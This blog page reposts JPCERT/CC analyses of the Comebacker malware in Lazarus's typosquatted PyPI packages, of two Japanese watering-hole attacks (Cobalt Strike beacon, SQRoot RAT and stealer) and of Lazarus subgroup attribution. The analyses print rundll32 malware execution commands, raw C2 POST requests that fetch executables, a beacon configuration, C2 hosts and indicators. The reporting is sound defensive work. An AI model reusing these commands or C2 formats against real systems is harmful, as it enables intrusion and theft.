Skip to content

Admiration Tech News

  • Home
  • Cyber Attacks
  • Data Breaches
  • Vulnerability
  • Exploits
  • Crack Tutorials
  • Programming
  • Tools

Tag: Encryption

New Malicious PyPI Packages used by Lazarus(By Shusei Tomonaga)

Posted on April 29, 2025 - April 29, 2025 by Maq Verma

JPCERT/CC has confirmed that Lazarus has released malicious Python packages to PyPI, the official Python package repository (Figure 1). The Python packages confirmed this time are as follows:

  • pycryptoenv
  • pycryptoconf
  • quasarlib
  • swapmempool

The package names pycryptoenv and pycryptoconf are similar to pycrypto, which is a Python package used for encryption algorithms in Python. Therefore, the attacker probably prepared the malware-containing malicious packages to target users’ typos in installing Python packages.
This article provides details on these malicious Python packages.

Python packages released by Lazarus attack group
Figure 1: Python packages released by Lazarus attack group

File structure of the malicious Python packages

Since the multiple malicious Python packages confirmed this time have almost the same file structure, this article uses pycryptoenv as an example in the following sections. The malicious Python package has the file structure shown in Figure 2. The main body of the malware is a file named test.py. This file itself is not Python but binary data, which is an encoded DLL file.

File structure of pycryptoenv
Figure 2: File structure of pycryptoenv

The code to decode and execute test.py is contained in __init__.py, as shown in Figure 3. The test.py is simply an XOR-encoded DLL file, and it is decoded, saved as a file, and then executed by __init__.py.

Code to decode and execute test.py
Figure 3: Code to decode and execute test.py

This type of malware, called Comebacker, is the same type as that used by Lazarus to target security researchers in an attack reported by Google [1] in January 2021. The following sections describe the details of test.py.

Details of test.py

Since the code which calls the function to decode and execute test.py (the crypt function in Figure 3) does not exist in pycryptoenv, the malware cannot be executed simply by installing pycryptoenv. Therefore, the attacker probably runs the Python script that executes the crypt function on the target machine in some way. The following section describes the behavior when a function that decodes and executes test.py is run.
Figure 4 shows the process from pycryptoenv to the execution of the malware main body.

Flow up to Comebacker execution
Figure 4: Flow up to Comebacker execution

After test.py is XOR-decoded, it is saved as output.py and then executed as a DLL file by the following command.

$ rundll32 output.py,CalculateSum

The DLL files IconCache.db and NTUSER.DAT are created and executed by the following command. NTUSER.DAT is encoded, and the decoded data is executed on memory, and this data is the main body of Comebacker.

RUNDLL32.exe %APPDATA%\..\Roaming\Microsoft\IconCache.db,GetProcFunc %APPDATA%\..\Roaming\Microsoft\Credentials\NTUSER.DAT

The samples confirmed this time have a fixed decode key as shown in Figure 5, and they are used to decode each file.

Decode Keys and Decode Functions
Figure 5: Decode Keys and Decode Functions

In addition, the NOP code used in this sample has a unique characteristic. As shown in Figure 6, there is a command starting with 66 66 66 66 in the middle of the code. This is often used, especially in the decode and encode functions. This characteristic is also found in other types of malware used by Lazarus, including malware BLINDINGCAN.

Comparison of characteristic NOP commands between Comebacker and BLINDINGCAN
Figure 6: Comparison of characteristic NOP commands between Comebacker and BLINDINGCAN

Details of Comebacker

Comebacker sends the following HTTP POST request to its C2 servers.

POST /manage/manage.asp HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: chaingrown.com
Content-Length: 129
Cache-Control: no-cache

NB=XMAFUUCARD&GPETR=NTU1NTY0aHU0Z2psMkRhUA==&FCKA=&YUYRNT=0&POCAYM=52&PQWFQU=MgAwADIANAAtADAAMgAtADAANQAgADIANAA6ADMANAA6ADUANgA=

The POST data consists of the following:

[2 random characters]=[command (determined by string length)]&[random character]=[device ID (base64 encoded)]&[random character]=[not used (base64 encoded)]&[random character]=[number (initially 0 and after receiving data, it becomes the value in the received data.)]&[random character]=[length of the next value]&[random character]=[yyyy-MM-dd hh:mm:ss(base64 encoded)*]

*After receiving data from the server, it becomes "yyyy-MM-dd hh:mm:ss|command (same as the first one sent)|number of bytes received"

In response to the above data sent, the server sends back a Windows executable file (see Appendix A for details of the received data format). Comebacker has a function to execute the received Windows executable file on memory.

Associated Attacks

Phylum has reported [2] a similar case to this attack in the past. In this case, a npm package contains Comebacker, and thus the attack is considered to have been conducted by Lazarus as well. In this way, the attacker aims to spread malware infections in multiple package repositories.

npm package released by Lazarus attack group
Figure 7: npm package released by Lazarus attack group

In Closing

The malicious Python packages confirmed this time have been downloaded approximately 300 to 1,200 times (Figure 8). Attackers may be targeting users’ typos to have the malware downloaded. When you install modules and other kinds of software in your development environment, please do so carefully to avoid installing unwanted packages. For C2 and other information on the malware described in this article, please refer to the Appendix.

Number of pycryptoenv downloads
Figure 8: Number of pycryptoenv downloads

Shusei Tomonaga
(Translated by Takumi Nakano)

References

[1] Google: New campaign targeting security researchers
  https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers/

[2] Phylum: Crypto-Themed npm Packages Found Delivering Stealthy Malware
  https://blog.phylum.io/crypto-themed-npm-packages-found-delivering-stealthy-malware/

Appendix A: Format of the received data

OffsetContentNotes
0x00Hex stringCommand
0x05Hex stringEnd flag ( reception ends if it is 3)
0x07Hex stringData length
0x10DataBase64 data with “+” replaced with space

The data format is as follows:

[number(number to be included in the next POST data)]|[number(data size to receive)]|[Export function to be called by the downloaded Windows executable file]|[argument for the Export function]|[MD5 hash value]

Appendix B: C2

  • https://blockchain-newtech.com/download/download.asp
  • https://fasttet.com/user/agency.asp
  • https://chaingrown.com/manage/manage.asp
  • http://91.206.178.125/upload/upload.asp

Appendix C: Malware hash

pycryptoenv-1.0.7.tar.gz
– b4a04b450bb7cae5ea578e79ae9d0f203711c18c3f3a6de9900d2bdfaa4e7f67

pycryptoenv-1.0.7-py3-none-any.whl
– c56c94e21913b2df4be293001da84c3bb20badf823ccf5b6a396f5f49df5efff

pycryptoconf-1.0.6.tar.gz
– 956d2ed558e3c6e447e3d4424d6b14e81f74b63762238e84069f9a7610aa2531

pycryptoconf-1.0.6-py3-none-any.whl
– 6bba8f488c23a0e0f753ac21cd83ddeac5c4d14b70d4426d7cdeebdf813a1094

quasarlib-1.0.8.tar.gz
– 173e6bc33efc7a03da06bf5f8686a89bbed54b6fc8a4263035b7950ed3886179

quasarlib-1.0.8-py3-none-any.whl
– 3ab6e6fc888e4df602eff1c5bc24f3e976215d1e4a58f963834e5b225a3821f5

swapmempool-1.0.8.tar.gz
– 60c080a29f58cf861f5e7c7fc5e5bddc7e63dd1db0badc06729d91f65957e9ce

swapmempool-1.0.8-py3-none-any.whl
– 26437bc68133c2ca09bb56bc011dd1b713f8ee40a2acc2488b102dd037641c6e

Comebacker
– 63fb47c3b4693409ebadf8a5179141af5cf45a46d1e98e5f763ca0d7d64fb17c
– e05142f8375070d1ea25ed3a31404ca37b4e1ac88c26832682d8d2f9f4f6d0ae

Loader
– 01c5836655c6a4212676c78ec96c0ac6b778a411e61a2da1f545eba8f784e980
– aec915753612bb003330ce7ffc67cfa9d7e3c12310f0ecfd0b7e50abf427989a
– 85c3a2b185f882abd2cc40df5a1a341962bc4616bc78a344768e4de1d5236ab7
– a4e4618b358c92e04fe6b7f94a114870c941be5e323735a2e5cd195138327f8f
– a8a5411f3696b276aee37eee0d9bed99774910a74342bbd638578a315b65e6a6
– 8fb6d8a5013bd3a36c605031e86fd1f6bb7c3fdba722e58ee2f4769a820b86b0

Appendix D: PDB

  • F:\workspace\CBG\Loader\npmLoaderDll\x64\Release\npmLoaderDll.pdb
  • F:\workspace\CBG\npmLoaderDll\x64\Release\npmLoaderDll.pdb
  • D:\workspace\CBG\Windows\Loader\npmLoaderDll\x64\Release\npmLoaderDll.pdb
  • F:\workspace\CBG\Loader\publicLoaderFirst\x64\Release\publicLoaderFirst.pdb
Posted in Cyber AttacksTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Scam, Spyware, vulnerabilityLeave a comment

Recent Cases of Watering Hole Attacks, Part 1(By Shusei Tomonaga)

Posted on April 29, 2025 - April 29, 2025 by Maq Verma

Nowadays, many people probably recognize exploit of vulnerabilities in publicly exposed assets such as VPN and firewalls as the attack vector. In fact, many security incidents reported to JPCERT/CC also involve such devices. This is because vulnerabilities in VPN devices are exploited not only by APT groups but also by many other groups such as ransomware actors and cyber crime actors, and the number of incidents is high accordingly. As the number of security incidents arising from these specific attack vectors increases, on the other hand, people tend to forget about countermeasures for other attack vectors. Attackers use a variety of methods to conduct attacks, including email, websites, and social networking services. Figure 1 shows a timeline of security incidents related to targeted attacks that JPCERT/CC has confirmed.

Targeted attacks confirmed by JPCERT/CC between 2023 and 2024
Figure 1: Targeted attacks confirmed by JPCERT/CC between 2023 and 2024

As you can see from this figure, there are many methods used for penetrating networks. In this article, we will introduce two cases of watering hole attacks in Japan that received little attention in recent years. We hope that you will find these security incidents useful when planning your security measures. Part 1 covers a case in which the website of a university research laboratory was exploited in 2023.

Flow of the attack

Figure 2 shows the flow of the watering hole attack. When a user accesses a tampered website, a fake Adobe Flash Player update screen is displayed, and if the user downloads and executes the file as instructed, their computer becomes infected with malware.

Flow of the attack
Figure 2: Flow of the attack

The infected website has JavaScript embedded, as shown in Figure 3, and when the user accesses the site, a Japanese pop-up message is displayed.

Malicious code embedded in the tampered website
Figure 3: Malicious code embedded in the tampered website

One of the characteristics of this watering hole attack is that it did not exploit vulnerabilities for malware infection but used a social engineering technique to trick users who accessed the site into downloading and executing the malware by themselves.

Malware used in the attack

FlashUpdateInstall.exe, the malware downloaded in this attack, displays a decoy document as shown in Figure 4, and has the function to create and execute the core malware (system32.dll). The decoy document is a text file, and it contains a string of text indicating that the update of Adobe Flash Player was successful.

Example of malware code
Figure 4: Example of malware code

The created system32.dll is injected into the Explorer process (Early Bird Injection). This DLL file was distinctive as it had been tampered by Cobalt Strike Beacon (version 4.5) to have a watermark of 666666. For detailed configuration information on Cobalt Strike, please see Appendix D.

Examples of attacks by the same group

The attack group involved in this watering hole attack is unknown. The C2 server was hosted on Cloudflare Workers, Cloudflare’s edge serverless service. In addition, we have confirmed that the same attacker is conducting other attacks. Figure 5 shows the behavior of other types of malware confirmed through our investigation of C2 servers.

Malware possibly used by the same attacker
Figure 5: Malware possibly used by the same attacker

Look at Figure 5. In the first example, the attacker disguised the file name as a file from the Ministry of Economy, Trade and Industry, and a document released by the Ministry was used as a decoy. In addition, the malware (Tips.exe) used in the second example had the feature to allow options to be specified on execution. Options that can be specified are as follows.

  • –is_ready: Setup mode
  • –sk: Disable anti-analysis function
  • –doc_path: Folder to save decoy documents
  • –parent_id: Process ID of the malware
  • –parent_path: Execution path of the malware
  • –auto: Malware execution mode
"C:\Users\Public\Downloads\Tips.exe" --is_ready=1 --sk=0 --doc_path='[current_path]' --parent_id=[pid] --parent_path='[malware_file]'

This sample used a rarely seen technique: using EnumWindows and EnumUILanguages functions when executing the DLL file.

DLL injection technique
Figure 6: DLL injection technique

Furthermore, the malware can stop antivirus software (process name: avp.exe) and has a function to detect the following as an anti-analysis function.

  • Whether there are more than 40 processes
  • Whether the memory size is larger than 0x200000000 (approx. 8G)
  • Whether any of the following are included in the physical drive name
    • VBOX
    • Microsoft Virtual Disk
    • VMWare

In Closing

We hope this article will be helpful for you to consider your security measures. In Part 2, we will continue to introduce cases of watering hole attacks.

Kota Kino, Shusei tomonaga

(Translated by Takumi Nakano)

Appendix A:C2 servers

  • www.mcasprod.com
  • patient-flower-ccef.nifttymailcom.workers.dev
  • patient-flower-cdf.nifttymailcom.workers.dev

Appendix B:Malware hash value

Jack Viewer

  • 791c28f482358c952ff860805eaefc11fd57d0bf21ec7df1b9781c7e7d995ba3
  • a0224574ed356282a7f0f2cac316a7a888d432117e37390339b73ba518ba5d88

Cobalt Strike 4.5

  • 7b334fce8e3119c2807c63fcc7c7dc862534f38bb063b44fef557c02a10fdda1

Decoy File

  • 284431674a187a4f5696c228ce8575cbd40a3dc21ac905083e813d7ba0eb2f08
  • df0ba6420142fc09579002e461b60224dd7d6d159b0f759c66ea432b1430186d

Infected Website

  • 3bf1e683e0b6050292d13be44812aafa2aa42fdb9840fb8c1a0e4424d4a11e21
  • f8ba95995d772f8c4c0ffcffc710499c4d354204da5fa553fd33cf1c5f0f6edb

Appendix C:PDB

  • C:\Users\jack\viewer\bin\viewer.pdb

Appendix D:Cobalt Strike Config

dns                            False
ssl                            True
port                           443
.sleeptime                     45000
.http-get.server.output        0000000400000001000005f200000002000000540000000200000f5b0000000d0000000f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
.jitter                        37
publickey                      30819f300d06092a864886f70d010101050003818d0030818902818100daca3d111909f81f4a40d3b0648bb079f2d89b3d579016fe4da97055d2975bf4d633de34346e82948450a222eb92102fe866fd6b5ec2f633c032c124aa5824bee30825fa6ac2d9abef369280076174ee12caa72bbacab906b80c29e89f82380f5e8c45a287c6874b58cc0d1d28332c92de35e21ad4817667bd10b997b345f985020301000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
.http-get.uri                  patient-flower-ccef.nifttymailcom.workers.dev,/jquery-3.3.1.min.js
67                             0
68                             4294967295
69                             4294967295
70                             4294967295
.spawto
.post-ex.spawnto_x86           %windir%\syswow64\dllhost.exe
.post-ex.spawnto_x64           %windir%\sysnative\dllhost.exe
.cryptoscheme                  0
.http-get.verb                 GET
.http-post.verb                POST
shouldChunkPosts               0
.watermark                     666666
36                             MYhXSMGVvcr7PtOTMdABvA==
.stage.cleanup                 1
CFGCaution                     0
71                             0
72                             0
73                             0
.user-agent                    Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
.http-post.uri                 /jquery-3.3.2.min.js
.http-get.client
   GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
   #Referer: http://cdn.nifttymail.com/
       __cfduid=      Cookieate
.http-post.client
   GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
   #Referer: http://cdn.nifttymail.com/
    __cfduid            deflate          
host_header                    Host: patient-flower-ccef.nifttymailcom.workers.dev

cookieBeacon                   1
.proxy_type                    2
58                             0005800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
57                             0005800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
funk                           0
killdate                       0
text_section                   1
Posted in Cyber AttacksTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

Recent Cases of Watering Hole Attacks Part 2(By Shusei Tomonaga)

Posted on April 29, 2025 - April 29, 2025 by Maq Verma

Flow of the attack

Figure 1 shows the flow of the watering hole attack. When someone accesses the tampered website, an LZH file is downloaded, and when they execute the LNK file in the LZH file, their PC becomes infected with malware.

Flow of the attack
Figure 1: Flow of the attack

The infected website had JavaScript embedded in it, as shown in Figure 3, and the malware is downloaded to users who login to the website with a specific account (Basic authentication).

Malicious code embedded in the tampered website (1)
Figure 2: Malicious code embedded in the tampered website (1)

The webpage that starts the download of the malware displays a message, as shown in Figure 3, indicating that the site is undergoing maintenance, and the LZH file is downloaded automatically. In addition, in case the user cannot extract the LZH file, a link to download the legitimate decompression software Lhaplus is included in the webpage.

Malicious code embedded in the tampered website (2)
Figure 3: Malicious code embedded in the tampered website (2)

Malware used in the attack

The malware downloaded by this attack is contained in an LNK file, as shown in Figure 4.

Flow of malware infection
Figure 4: Flow of malware infection

As shown in Figure 5, inside the LNK file there is a ZIP file containing the actual malware and a VBS file for extracting it, which are Base64-encoded and extracted when the LNK file is executed.

Malicious code contained in the LNK file
Figure 5: Malicious code contained in the LNK file

The ZIP file contains the legitimate file iusb3mon.exe and two DLLs. iusb3mon.dll is loaded into the legitimate file iusb3mon.exe, but as shown in Figure 6, a session called newimp is added, and the actual malware dmiapi32.dll (malware name: SQRoot) is loaded in that session.

The newimp section added to iusb3mon.dll
Figure 6: The newimp section added to iusb3mon.dll

SQRoot(dmiapi32.dll)

SQRoot is malware that downloads plugins from the C2 server to extend its functionality. The plugins it downloads are listed in Table 1.

8015ba282c.tmpDownload and execute RAT disguised as an image file
abb8fcc3b5.tmpDownload and execute shell code
8714c42184.tmpUnknown
6eadde753d.tmpUnknown

SQRoot sends client information when communicating with the C2 server. The data sent is encrypted using ChaCha20. In addition, a unique ID is set at the end of the User-Agent header, and a random string (aq[BASE64-encoded 12-byte nonce]) is set in the x-auth header.

POST /papers/en-jp/task HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/9a.3f.6b.7f.18.ee.0f
x-auth: aq8bvp67Om2zyHDD6Z
Content-Length: [Size]
Host: [Server name]

SQRoot limits the time of communication with the C2 server from 9:00 to 18:00, Monday to Friday. Furthermore, it regularly sends fake communication to disguise real communication with the C2 server as normal web access.

https://dict.digibulk.live/index
https://dict.digibulk.live/favicon.ico
https://dict.digibulk.live/jss/font-awesome.min.css
https://dict.digibulk.live/css/jquery-ui.min.css

SQRoot RAT

When the plugin 8015ba282c.tmp is downloaded, malware disguised as a BPM file (SQRoot RAT) is downloaded as shown in Figure 7. This malware is also set to communicate with the C2 server only between 9:00 and 18:00, Monday to Friday.

A part of the SQRoot RAT disguised as a BPM file
Figure 7: A part of the SQRoot RAT disguised as a BPM file

SQRoot RAT encrypts data with RC4 and sends it to the C2 server. For the list of commands that the malware can execute, please see Appendix C.

POST /weekly/img/new/paper.php?hid=[fixed value]&uid=[unique ID]&cid=[command] HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54
Content-Length: [size]
Host: [server name]

[RC4 data]

SQRoot Stealer

Furthermore, another malware (SQRoot Stealer) has been found on hosts infected with SQRoot, which is designed to steal information. Figure 8 shows the flow of SQRoot Stealer execution.

Flow of SQRoot Stealer execution
Figure 8: Flow of SQRoot Stealer execution

The actual malware is nvprojects.dll, but like SQRoot, it runs after being loaded into the legitimate file nvSmart.exe, and it operates by loading plugins, also similar to SQRoot. The following are the example of plugins.

  • jtpa_record_4_0.tmp: keylogger
  • jtpa_snap_2_0_1.tmp: screen capture
  • jtpa_un_cat.tm: send file

Attribution

The attack group involved in the watering hole attack discussed in this article is unknown. We have confirmed that the malware file names used in this attack (nvSmart.exe, nvsmartmax.dll, iusb3mon.exe, iusb3mon.dll) have been used by APT10 in the past. In addition, a Web shell called Weevely was installed on the website used in the attack.

In closing

In this and the previous blog posts, we have covered cases of watering hole attacks, and in both cases, the attackers aimed to infect the targets with malware through social engineering, rather than exploiting vulnerabilities. Current security measures tend to focus on addressing vulnerabilities in publicly accessible assets, but it is also important to remain aware of social engineering attacks like this.

Kota Kino, Shusei tomonaga

(Translated by Takumi Nakano)

Appendix A:C2 Server

  • dict.digibulk.live
  • mnc.poiuuioq.space
  • gogo.qiohanwy.store
  • 158.247.192.54

Appendix B:Malware hash value

SQRoot

  • 154cbce8afc48bc6d0f59726250fe7b9981ecdd0ce44fad48a3a662e3eb64135

SQRoot Plugin(8015ba282c.tmp)

  • f4cd4b51df47ba50c870657ff094c3355a6567f3cc77abcc4894cdaf57b2f0bd

SQRoot RAT

  • bb0c9d80220a93c2f9fe442f3a2ef2b41db44d9367483c8f22a25732478af82a

SQRoot Stealer

  • a30943c524cbf5989ca74d3d78709d40a82da2bc760afe938fa76cd21c443484

jtpa_snap_2_0_1.tmp

  • 6988afa7950e0cecdc24e472f7e31ce855a29458c3b908554bf473686a97069b

jtpa_snap_2_0_1.tmp

  • 0be4b77b667af42771189d697644b1760ce7c3d341a0d8d06fed0a81c4a1e253

jtpa_un_cat.tmp

  • 41de808ce98285d750766d2a5b96cb8ddd972e282501dede2d5032de380f2146

Appendix C:Command

1128Create Named Pipe
1129Download
112AUpload
112BSet sleep time
112CTerminate
112DSend drive information
112ESend file list
112FDelete file
1130Change file name
1131Copy file
1132Create a folder
1133Run process
1134Run process + send the result
Posted in Cyber AttacksTagged Cyber Attacks, Data Security, Encryption, malware, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

Tempted to Classifying APT Actors: Practical Challenges of Attribution in the Case of Lazarus’s Subgroup(By Hayato Sasaki)

Posted on April 29, 2025 - April 29, 2025 by Maq Verma

*Please note that this article is a translation of the Japanese version published on January 20, 2025, and may not reflect the latest information on threat trends.

“Lazarus”[1] no longer refer to a single APT group but a collection of many sub-groups. Originally, it referred to a single group or activities by some small groups. I suppose that, as the scale of their activities expanded, the group branched out into multiple units. Now it is realistic to consider that “Lazarus” is no longer an applicable label.
When I start talking about Lazarus’ subgroup-level identification or attribution, many people look skeptical or uninterested. However, this kind of analysis, which may seem overly obsessive, is actually crucial to addressing attacks against the entire Japan, and this blog post explains the reasons.

 

Characteristics of Lazarus subgroups

There are already a number of labels that refer to activities/campaigns and groups of Lazarus, and the number is growing. In addition, although it is not limited to Lazarus, various security vendors use different names for the same group, subgroup, and malware, making it more difficult to grasp the whole picture. Furthermore, some authors focus on the names of attack groups (or subgroups) in their analysis reports, while others focus on the names of attack campaigns, which makes the terminology even more confusing. There was even a case where a label used as the name of an attack campaign in one report was cited as that of an attack group in another.
*I have organized the labels as follows. Any suggestions or information about the classification are welcome.

Labels for the entire APT activity:
Hidden Cobra, TraderTraitor
Labels for individual (or intermittent)  campaigns[2]:
Operation Dreamjob, Operation In(ter)ception, AppleJeus, Dangerous Password, CryptoCore, SnatchCrypto, Contagious Interview, Operation Jtrack
*Dangerous Password and CryptoCore initially appeared as attack group names, but later they are also used as attack campaign names in many cases.
Labels for attack groups (subgroups):
TEMP.Hermit, Selective Pisces, Diamond Sleet, Zinc, UNC577, Black Artemis, Labyrinth Chollima, NICKEL ACADEMY
APT38, Bluenoroff, Stardust chollima, CryptoMimic, Leery Turtle, Sapphire Sleet, TA444, BlackAlicanto
Jade Sleet, UNC4899, Slaw Pisces
Gleaming Pisces, Citrine Sleet
Andariel, Stonefly, Onyx Sleet, Jumpy Pisces, Silent Chollima
Moonstone Sleet (*This may not be a subgroup of Lazarus)
Labels that used to refer to a single attack group and then now used for its successors, related groups, and branched subgroups:
Lazarus, Bluenoroff, APT38, Andariel

I have argued[3] in various places that accurate profiling and attribution of APT groups is critical for counter-operations against threat actors. Some people may think that a broad classification is sufficient, rather than more detailed subgrouping. It is true that some of the Lazarus subgroups have the same targets, objectives and TTPs. For example, no matter whether the attacker is Citrine Sleet/UNC4736, Sapphire Sleet/CryptoMimic or Moonstone Sleet, all of which target cryptocurrency, the response strategy may not change significantly.
The reasons for identifying threat actors at the subgroup level for Lazarus is further explained later, but there are two characteristics and trends behind this argument, which are unique to Lazarus subgroups and make the grouping of threat actors more difficult:

  1. Overlaps in TTPs among multiple subgroups
    As many security vendors and analysts have discussed in the past[4], there are overlaps in initial attack vector, C2 infrastructure, and malware among multiple subgroups.
    As explained in JPCERT/CC Eyes[5] recently, there have been multiple confirmed attack campaigns in which LinkedIn was used for initial attack vector. In addition, there is a tendency that similar attack methods to be increasingly used, which is explained later.
  2. Rise of task force-like groups beyond traditional subgrouping
    From 2021 to February 2023, reports and media coverage on a new APT actor called Bureau325 appeared[6]. It is known that this actor shares the same TTPs as multiple known Lazarus subgroups and also uses the same malware as Kimsuky. It is assumed that Bureau325 is a task force-like group or activity which is free from existing group structures[7].
    In March 2023, Mandiant published a report on APT43[8]. The activities of the actors described in this report were previously reported as those of Kimsuky or Thallium. However, Mandiant’s analysis team has reclassified the group as APT43. The report also notes that APT43 uses the same tools across groups and subgroups, similar to Bureau 325.

 

Reasons for identification in subgroup level

When identifying APT actors, attention is often paid to attribution, such as identifying the perpetrators, their backgrounds, and attributing responsibility to a specific state, which I believe is the underlying reason why people are not so interested in Lazarus subgroup identification[9]. The following section discusses why detailed identification of subgroups, which are merely virtual distinctions, is necessary in addition to attribution.

Reason 1: To ensure the effects of mid- to long-term damage prevention through security alerts, etc.
For example, in attacks through SNS, such as the case covered on JPCERT/CC Eyes recently, cryptocurrency businesses and defense and aviation industries were targeted, and thus it was possible to focus on alerting such industries. Since attackers usually contact individual engineers at target organizations on SNS, it was effective to alert and share IoCs with organizations in the sector.
On the other hand, objectives, and target sectors/individuals/organizations of subgroups (and related groups) and attack campaigns identified in the second half of 2023 and later are becoming more complex. While most of them target the cryptocurrency sector, there is a wide range of groups, such as those targeting sensitive corporate information, those using ransomware (Moonstone Sleet), and those targeting illegal foreign currency income by IT workers (WageMole attack campaign).
Identifying the target industries and objectives of each subgroup accurately makes it possible to provide information to specific sectors and organizations, which is more effective than issuing alerts. When an alert is issued about an attack that exploits the vulnerability of a specific sector or product, the attacker is also likely to target other sectors or products. However, people may not pay much attention to the alert, thinking that it is irrelevant to them.

Reason 2: Countermeasures/counter operations
The accurate identification of subgroups is also essential for Japan to capture the activities of individual actors over the long term and to conduct accurate threat analysis on what kind of activities are intended by the government agencies behind these Lazarus subgroups[[10].
Active cyber defence will also be important for Japan to conduct counter operations against the activities of APT actors in the future.Behind each subgroup, there should be an organization with formation, rules, and forms of command and control, and the effectiveness of various countermeasures should differ from one another.
Moreover, in addition to the effectiveness, some countermeasures may cause problems under international law[11], and it is extremely important to accurately capture the relationship between the actions and perpetrator of the counterparty and the background entity.

Reason 3: “Message” to the attackers
Many threat analysts are increasingly focusing on subgroup identification. This is partly for counter-tactical reasons, as discussed in Reason 1. However, it is also because the analysts believe that subgroups reflect the actual activities, organizational backgrounds, and resources of the real perpetrators, not just a virtual distinction.
There are only a limited number of cases where disclosing information about threat actors, such as public attribution or publishing analytical reports, influences their activities[12]. However, it is at least possible to make the attacker’s new tactics less likely to succeed or make them obsolete. We do not know to what extent APT actors actually pay attention to such information disclosures since they have rarely been verified so far. In any case, if the information is to be disclosed for the purpose of deterrence, such as in the form of public attribution, accurate subgroup identification and clarification would be a minimum requirement to deliver the message to the target (individual or organizational actors).
Most importantly, it should be noted that disclosure of accurate subgroup identification demonstrates the ability of the defenders and responders.

 

Case study of subgroups with overlapping tactics: contact targets on SNS and have them download a malicious npm package

As explained in a recent JPCERT/CC Eyes article, several subgroups started to contact individual engineers on LinkedIn or other SNS to have them download a malicious Python or npm package via PyPI or GitHub in their initial phase.
The following is a timeline of the activities of several subgroups that use same or similar tactics.

Figure 1: Multiple subgroups that contact their targets on SNS and have them download malicious packages
Moonstone Sleet
Target sectors/objectives: cryptocurrency theft, ransomware attacks, sensitive information in defense industry, etc., illegal income of IT workers
In February 2024, we published a JPCERT/CC Eyes blog article about a case in which this subgroup have their targets to download a malicious Python package via PyPI, and its analysis mentioned that the Comebacker was used[13]. In December 2023, Qianxin reported a similar sample[14], and later in May 2024, Microsoft announced that it was tracking the subgroup under the name Moonstone Sleet[15].
Microsoft says that this subgroup has no direct overlap with the subgroup which performs Contagious Interviews (discussed below), whose TTP is similar[16].
Comebacker was found in a 2021 campaign by TEMP.Hermit (labeled by Mandiant and also classified as UNC577 in the past)/Diamond Sleet (labeled by Microsoft  and also classified as Zinc in the past)[17]. However, there is little information on the relations between the attack groups.
Gleaming Pisces (Citrine Sleet)
Relations to previously classified group: actors of Apple Jeus (UNC1720) 
Target sectors: cryptocurrency businesses, individuals 
Similar to Moonstone Sleet, this subgroup performs initial compromise using PyPI. Unit42 calls the group Gleaming Pisces, and Microsoft refers to it as Citrine Sleet. PondRAT (named by Unit42) used in the PyPI exploit attack campaign in 2024[18] has its origin in PoolRAT (name by Unit42) disclosed by CISA when it issued an alert about AppleJeus attack campaign in February 2021[19], and PoolRAT was also found in the supply chain attack on 3cx in March 2023[20].
These RATs share a common A5/1 encryption key, and it was also found in the previously mentioned Comebacker-like sample reported by Qianxin. In addition, FudModule, reportedly used by TEMP.Hermit/Diamond Sleet, was also found in Citrine Sleet’s attack. Microsoft says that there are overlaps between Diamond Sleet and Citrine Sleet in their infrastructure and malware[21].
Contagious Interview (attack campaign)
Target sectors/objectives: cryptocurrency theft, illegal income of IT workers (Associated with Wagemole although it is a separate campaign.)
This attack activity was reported by Macnica in October 2024[22] and by NTT Security in December 2024[23]. The attackers contact IT engineers pretending to request job interviews. It was first reported by Unit42 in November 2023[24], and according to the company, the campaign has been active since 2022.
The attack campaign was allegedly conducted by FAMOUS CHOLLIMA, classified by CrowdStrike, but it remains unclear whether it is a subgroup of Lazarus or another group.
In addition, this activity has been associated with Wagemole and CL-STA-0237 (the name used by Unit 42)[25], which are allegedly related to the activities of “IT workers”, North Korean IT technical impersonators who work illegally at overseas IT companies to obtain foreign currency[26].
As mentioned earlier, Microsoft currently classifies Moonstone Sleet activity and Contagious Interview as separate activities. Phylum has been tracking the malicious npm packages used in both activities and has published a number of reports[27].


Reference: Summary of relationships among subgroups at the moment
In this article, I have described and compared the Moonstone Sleet activity, Contagious Interview attack campaign, and Gleaming Pisces (Citrine Sleet) activity. They all share the same initial attack vector: contact the target on SNS and then have them download a malicious npm package. The following is a summary of the activities of other Lazarus subgroups and the changes in the classification and the names used by security vendors over time.
I believe that the information will continue to change, with new subgroups emerging and security analysts making reclassifications[28]. In the future, we will try to create a system that captures and organizes such information in a dynamic and flexible manner.

Figure 2: Transition of Lazarus subgroups

 

In conclusion

The term “attribution” has two concepts. One of them is a strict meaning used in international law and criminal procedure, and the other is traditionally used by the security community. I personally refer to the former as “hard” attribution, which includes the identification of individuals and organizations actually involved as well as the attribution of responsibility, and the latter as “soft” attribution, which covers virtual groupings such as actors/attack groups and profiling.
